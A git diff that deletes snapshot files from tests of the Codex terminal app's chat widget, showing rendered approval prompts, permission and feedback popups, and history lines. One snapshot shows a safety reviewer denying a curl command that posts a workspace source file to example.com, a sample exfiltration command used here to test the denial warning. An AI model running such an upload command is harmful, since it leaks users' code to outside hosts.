a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap deleted file mode 100644 index 95307f9e9e..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: contents ---- - - - Would you like to run the following command? - - $ python - <<'PY' - print('hello') - PY - -› 1. Yes, proceed (y) - 2. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_no_reason.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_no_reason.snap deleted file mode 100644 index 55374a2b38..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_no_reason.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend().vt100().screen().contents() ---- - - - Would you like to run the following command? - - $ echo hello world - -› 1. Yes, proceed (y) - 2. Yes, and don't ask again for commands that start with `echo hello world` (p) - 3. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_patch.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_patch.snap deleted file mode 100644 index 55b643178f..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_patch.snap +++ /dev/null @@ -1,20 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend().vt100().screen().contents() ---- - - - Would you like to make the following edits? - - Reason: The model wants to apply changes - - README.md (+2 -0) - - 1 +hello - 2 +world - -› 1. Yes, proceed (y) - 2. Yes, and don't ask again for these files (a) - 3. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap deleted file mode 100644 index fe48237f54..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Update Model Permissions - -› 1. Default Codex can read and edit files in the current workspace, and - run commands. Approval is required to access the internet or - edit other files. - 2. Full Access Codex can edit files outside this workspace and access the - internet without asking for approval. Exercise caution when - using. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup@windows.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup@windows.snap deleted file mode 100644 index 75f01c07c9..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup@windows.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Update Model Permissions - -› 1. Read Only (current) Codex can read files in the current workspace. - Approval is required to edit files or access the - internet. - 2. Default Codex can read and edit files in the current - workspace, and run commands. Approval is required to - access the internet or edit other files. - 3. Full Access Codex can edit files outside this workspace and - access the internet without asking for approval. - Exercise caution when using. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h1.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h1.snap deleted file mode 100644 index 7f6238d8a4..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h1.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h2.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h2.snap deleted file mode 100644 index 476b3c3507..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h2.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h3.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h3.snap deleted file mode 100644 index 7db71a7f64..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h3.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h1.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h1.snap deleted file mode 100644 index 7f6238d8a4..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h1.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h2.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h2.snap deleted file mode 100644 index 476b3c3507..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h2.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h3.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h3.snap deleted file mode 100644 index 7db71a7f64..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h3.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap deleted file mode 100644 index 4ad05eb49f..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap +++ /dev/null @@ -1,44 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- - - - - - - - - - - - - - - - - - - - - - - - - - - - -• I’m going to search the repo for where “Change Approved” is rendered to update - that view. - -• Explored - └ Search Change Approved - Read diff_render.rs - -• Investigating rendering code (0s • esc to interrupt) - - -› Summarize recent commits - - tab to queue message 100% context left diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap deleted file mode 100644 index b037228292..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap +++ /dev/null @@ -1,53 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -• -- Indented code block (4 spaces) - SELECT * - FROM "users" - WHERE "email" LIKE '%@example.com'; - - ```sh - printf 'fenced within fenced\n' - ``` - - { - // comment allowed in jsonc - "path": "C:\\Program Files\\App", - "regex": "^foo.*(bar)?$" - } diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_tall.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_tall.snap deleted file mode 100644 index 8711bd3fe6..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_tall.snap +++ /dev/null @@ -1,27 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- -• Working (0s • esc to interrupt) - -• Queued follow-up messages - ↳ Hello, world! 0 - ↳ Hello, world! 1 - ↳ Hello, world! 2 - ↳ Hello, world! 3 - ↳ Hello, world! 4 - ↳ Hello, world! 5 - ↳ Hello, world! 6 - ↳ Hello, world! 7 - ↳ Hello, world! 8 - ↳ Hello, world! 9 - ↳ Hello, world! 10 - ↳ Hello, world! 11 - ↳ Hello, world! 12 - ↳ Hello, world! 13 - ↳ Hello, world! 14 - ↳ Hello, world! 15 - -› Ask Codex to do anything - - gpt-5.3-codex default · 100% left · /tmp/project diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap deleted file mode 100644 index 5ebbcd706a..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- - diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap deleted file mode 100644 index 9368ebf1f8..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: blob ---- -■ '/model' is disabled while a task is in progress. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_long.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_long.snap deleted file mode 100644 index 06e15aec8d..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_long.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: lines_to_single_string(&aborted_long) ---- -✗ You canceled the request to run echo - aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap deleted file mode 100644 index e87625e75f..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: lines_to_single_string(&aborted_multi) ---- -✗ You canceled the request to run echo line1 ... diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_approved_short.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_approved_short.snap deleted file mode 100644 index 8f581814ff..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_approved_short.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: lines_to_single_string(&decision) ---- -✔ You approved codex to run echo hello world this time diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_modal_exec.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_modal_exec.snap deleted file mode 100644 index 3860993207..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_modal_exec.snap +++ /dev/null @@ -1,39 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 80, height: 13 }, - content: [ - " ", - " ", - " Would you like to run the following command? ", - " ", - " Reason: this is a test reason such as one that would be produced by the ", - " model ", - " ", - " $ echo hello world ", - " ", - "› 1. Yes, proceed (y) ", - " 2. No, and tell Codex what to do differently (esc) ", - " ", - " Press enter to confirm or esc to cancel ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, - x: 46, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 10, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC, - x: 73, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC, - x: 7, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 7, fg: Rgb(137, 180, 250), bg: Reset, underline: Reset, modifier: NONE, - x: 8, y: 7, fg: Rgb(205, 214, 244), bg: Reset, underline: Reset, modifier: NONE, - x: 20, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 9, fg: Cyan, bg: Reset, underline: Reset, modifier: BOLD, - x: 21, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 48, y: 10, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 51, y: 10, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 12, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - ] -} diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__experimental_features_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__experimental_features_popup.snap deleted file mode 100644 index 156aaa60d4..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__experimental_features_popup.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Experimental features - Toggle experimental features. Changes are saved to config.toml. - -› [ ] Ghost snapshots Capture undo snapshots each turn. - [x] Shell tool Allow the model to run shell commands. - - Press space to select or enter to save for next conversation diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step1_start_ls.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step1_start_ls.snap deleted file mode 100644 index 6ac0894b20..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step1_start_ls.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Exploring - └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step2_finish_ls.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step2_finish_ls.snap deleted file mode 100644 index 5a3bc390e9..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step2_finish_ls.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Explored - └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step3_start_cat_foo.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step3_start_cat_foo.snap deleted file mode 100644 index d248f36f49..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step3_start_cat_foo.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Exploring - └ List ls -la - Read foo.txt diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step4_finish_cat_foo.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step4_finish_cat_foo.snap deleted file mode 100644 index 5288cf146a..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step4_finish_cat_foo.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Explored - └ List ls -la - Read foo.txt diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step5_finish_sed_range.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step5_finish_sed_range.snap deleted file mode 100644 index 5288cf146a..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step5_finish_sed_range.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Explored - └ List ls -la - Read foo.txt diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step6_finish_cat_bar.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step6_finish_cat_bar.snap deleted file mode 100644 index 5e0a978418..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step6_finish_cat_bar.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Explored - └ List ls -la - Read foo.txt, bar.txt diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_good_result_consent_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_good_result_consent_popup.snap deleted file mode 100644 index 656eeb15b9..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_good_result_consent_popup.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Upload logs? - - The following files will be sent: - • codex-logs.log - • codex-connectivity-diagnostics.txt - -› 1. Yes Share the current Codex session logs with the team for - troubleshooting. - 2. No - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_selection_popup.snap deleted file mode 100644 index edcaae3431..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_selection_popup.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - How was this? - -› 1. bug Crash, error message, hang, or broken UI/behavior. - 2. bad result Output was off-target, incorrect, incomplete, or unhelpful. - 3. good result Helpful, correct, high‑quality, or delightful result worth - celebrating. - 4. safety check Benign usage blocked due to safety checks or refusals. - 5. other Slowness, feature suggestion, UX feedback, or anything - else. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_upload_consent_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_upload_consent_popup.snap deleted file mode 100644 index 19f9b7122b..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_upload_consent_popup.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Upload logs? - - The following files will be sent: - • codex-logs.log - • codex-connectivity-diagnostics.txt - - Connectivity diagnostics - - OPENAI_BASE_URL is set and may affect connectivity. - - OPENAI_BASE_URL = hello - -› 1. Yes Share the current Codex session logs with the team for - troubleshooting. - 2. No - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap deleted file mode 100644 index 7751a9246e..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Here is the result. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line.snap deleted file mode 100644 index 60e47cbe03..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Thread forked from named-thread (e9f18a88-8081-4e51-9d4e-8af5cde2d8dd) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line_without_name.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line_without_name.snap deleted file mode 100644 index 67fd624b1e..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line_without_name.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Thread forked from 019c2d47-4935-7423-a190-05691f566092 diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__full_access_confirmation_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__full_access_confirmation_popup.snap deleted file mode 100644 index f6d99d39ac..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__full_access_confirmation_popup.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Enable full access? - When Codex runs with full access, it can edit any file on your computer and - run commands with network, without your approval. Exercise caution when - enabling full access. This significantly increases the risk of data loss, - leaks, or unexpected behavior. - -› 1. Yes, continue anyway Apply full access for this session - 2. Yes, and don't ask again Enable full access and remember this choice - 3. Cancel Go back without enabling full access - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap deleted file mode 100644 index ff0c97f5f3..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- -⚠ Automatic approval review denied (risk: high): The planned action would - transmit the full contents of a workspace source file (`core/src/codex.rs`) to - `https://example.com`, which is an external and untrusted endpoint. - -✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c - odex.rs https://example.com - -• Working (0s • esc to interrupt) - - -› Ask Codex to do anything - - gpt-5.3-codex default · 100% left · /tmp/project diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__image_generation_call_history_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__image_generation_call_history_snapshot.snap deleted file mode 100644 index a2e6359333..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__image_generation_call_history_snapshot.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Generated Image: - └ A tiny blue square - └ Saved to: file:///tmp/ig-1.png diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_exec_marks_failed.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_exec_marks_failed.snap deleted file mode 100644 index 92fa8a392d..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_exec_marks_failed.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: exec_blob ---- -• Ran sleep 1 - └ (no output) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_error_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_error_message.snap deleted file mode 100644 index 2c924df1e7..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_error_message.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: last ---- -■ Conversation interrupted - tell the model what to do differently. Something went wrong? Hit `/feedback` to report the issue. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_pending_steers_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_pending_steers_message.snap deleted file mode 100644 index 90205807b2..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_pending_steers_message.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: info ---- -• Model interrupted to submit steer instructions. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__local_image_attachment_history_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__local_image_attachment_history_snapshot.snap deleted file mode 100644 index 2fc0b7978a..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__local_image_attachment_history_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Viewed Image - └ example.png diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__mcp_startup_header_booting.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__mcp_startup_header_booting.snap deleted file mode 100644 index 4cba0dfd8c..0000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__mcp_startup_header_booting.snap +++ /dev/null @@ -1,11 